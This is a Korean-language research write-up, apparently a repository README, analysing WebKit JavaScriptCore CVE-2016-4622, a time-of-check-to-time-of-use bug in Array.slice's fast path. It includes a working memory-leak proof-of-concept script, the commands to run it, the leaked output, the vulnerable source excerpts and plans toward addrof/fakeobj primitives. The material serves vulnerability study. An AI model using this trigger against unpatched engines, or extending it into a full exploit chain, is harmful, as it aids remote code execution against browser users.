
WebKit CVE-2016-4622 익스플로잇 과정을 통한 나의 여정
Array.slice 조작을 통해 메모리 노출을 가능하게 하는 WebKit JavaScript Core 취약점의 종합적인 분석 및 공격 기법
이 저장소는 WebKit JavaScript Core 엔진의 심각한 메모리 노출 취약점인 CVE-2016-4622에 대한 종합적인 분석을 담고 있습니다. 이 취약점은 Array.slice() 구현의 경쟁 조건(race condition)에서 비롯되며, 인접 메모리 내용을 유출하는 데 악용될 수 있어 addrof 및 fakeobj와 같은 더 정교한 공격 프리미티브의 기반이 됩니다.
영향: 잠재적 원격 코드 실행으로 이어질 수 있는 메모리 노출
영향을 받는 구성 요소: WebKit JavaScript Core (JSC)
근본 원인: fastSlice 구현의 TOCTOU(Time-of-check-time-of-use) 취약점
이 취약점은 Array.slice() 메서드를 위한 WebKit의 최적화된 "고속 경로(fast path)"에 존재합니다. 엔진은 슬라이스 매개변수를 처리할 때 객체 인수를 해당 valueOf() 메서드를 호출하여 기본 값(primitive value)으로 변환합니다. 이 변환은 슬라이스 연산 매개변수가 결정된 이후에 발생하지만 실제 메모리 복사 연산 이전에 발생합니다.
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);
동작 과정:
a가 100개의 요소로 생성됩니다.valueOf()가 호출됩니다.valueOf()가 배열을 길이 0으로 축소합니다.memcpy가 빈 배열에서 10개의 요소를 복사하려고 시도합니다.WebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/ # Reference implementation by Saelo
├── Exploit/ # Custom exploitation attempts
│ ├── poc-memleak.js # Memory leak proof-of-concept
│ └── slice_over_array.js # Educational examples
├── WebKit-SRC-CVE-2016-4622/ # Vulnerable source code (commit 320b1fc)
├── WebKit-Bins/ # Compiled binaries for testing
│ ├── Debug/ # Debug build with symbols
│ └── ASAN/ # AddressSanitizer enabled build
└── Screenshoots/ # Visual documentation
바이너리: XCode 7.3.2가 설치된 VMWare OSX 10.11에서 빌드된 사전 컴파일된 JSC 바이너리 아키텍처: x86_64 Mach-O 실행 파일 디버그 기능: 종합적인 분석을 위한 심볼 + AddressSanitizer
cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js
# Expected output showing memory leak:
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
Array.slice(begin, end) 메서드는 배열의 일부에 대한 얕은 복사본을 생성합니다. 정상적인 상황에서는 다음과 같습니다:
var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3); // Returns ['b', 'c']
핵심 포인트: end 매개변수는 valueOf()를 통해 타입 변환을 거치며, 이로 인해 공격에 활용될 수 있는 창(window)이 생깁니다.
취약점이 트리거되면 AddressSanitizer가 다음과 같은 호출 흐름을 캡처합니다:
#0 memcpy-param-overlap detected
#1 JSC::JSArray::fastSlice()
#2 JSC::arrayProtoFuncSlice()
#3 JavaScript execution context

arrayProtoFuncSlice() - 진입점위치: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
unsigned length = getLength(exec, thisObj); // Initial length: 100
// Critical: Parameter conversion happens here
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
// Fast path determination
std::pair<SpeciesConstructResult, JSObject*> speciesResult =
speciesConstructArray(exec, thisObj, end - begin);
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
// Vulnerability triggers here
if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
// ... fallback implementation
}
argumentClampedIndexFromStartOrEnd() - 변환 트리거위치: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236
static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
JSValue value = exec->argument(argument);
if (value.isUndefined())
return undefinedValue;
// CRITICAL: This is where valueOf() gets called
double indexDouble = value.toInteger(exec);
if (indexDouble < 0) {
indexDouble += length;
return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
}
return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}
경쟁 조건:
{valueOf: function() { a.length = 0; return 10; }}를 처리할 때value.toInteger(exec)가 우리의 악성 valueOf()를 호출합니다.fastSlice() - 메모리 손상이 발생하는 지점위치: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720
JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
auto arrayType = indexingType();
switch (arrayType) {
case ArrayWithDouble:
case ArrayWithInt32:
case ArrayWithContiguous: {
// ... setup code ...
auto& resultButterfly = *resultArray->butterfly();
if (arrayType == ArrayWithDouble)
// VULNERABILITY: Reads beyond array bounds
memcpy(resultButterfly.contiguousDouble().data(),
m_butterfly.get()->contiguousDouble().data() + startIndex,
sizeof(JSValue) * count);
// ...
}
}
메모리 손상:
startIndex = 0, count = 10valueOf()에 의해 변경됨).memcpy가 인덱스 0부터 10개의 JSValue를 읽습니다.설정 단계
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
트리거 단계
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
공격 단계
valueOf()를 호출합니다.fastSlice가 빈 배열에서 10개의 요소를 복사하려고 시도합니다.결과
0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
Before valueOf(): [0.123][1.123][2.123]...[99.123] (length=100)
After valueOf(): [] (length=0)
memcpy reads: [0.123][1.123][LEAKED][LEAKED][LEAKED]...
| 구성 요소 | 문제 | 영향 |
|---|
이 취약점은 다음을 위한 기반을 제공합니다:
addrof/fakeobj 프리미티브 설정완화 전략:
memcpy 연산 전에 배열 경계를 검증합니다.320b1fc3f6f연구 기간: 2020년 4월 11~12일
상태: 분석 완료 ✅
다음 단계: addrof/fakeobj 프리미티브를 활용한 완전한 공격 체인 개발
| 매개변수 처리 | argumentClampedIndexFromStartOrEnd의 TOCTOU | 처리 중 상태 변경 허용 |
| 고속 경로 로직 | fastSlice의 불충분한 검증 | 경계 검사 우회 |
| 메모리 연산 | 배열 복사 시 검사되지 않은 memcpy | 직접적인 메모리 노출 |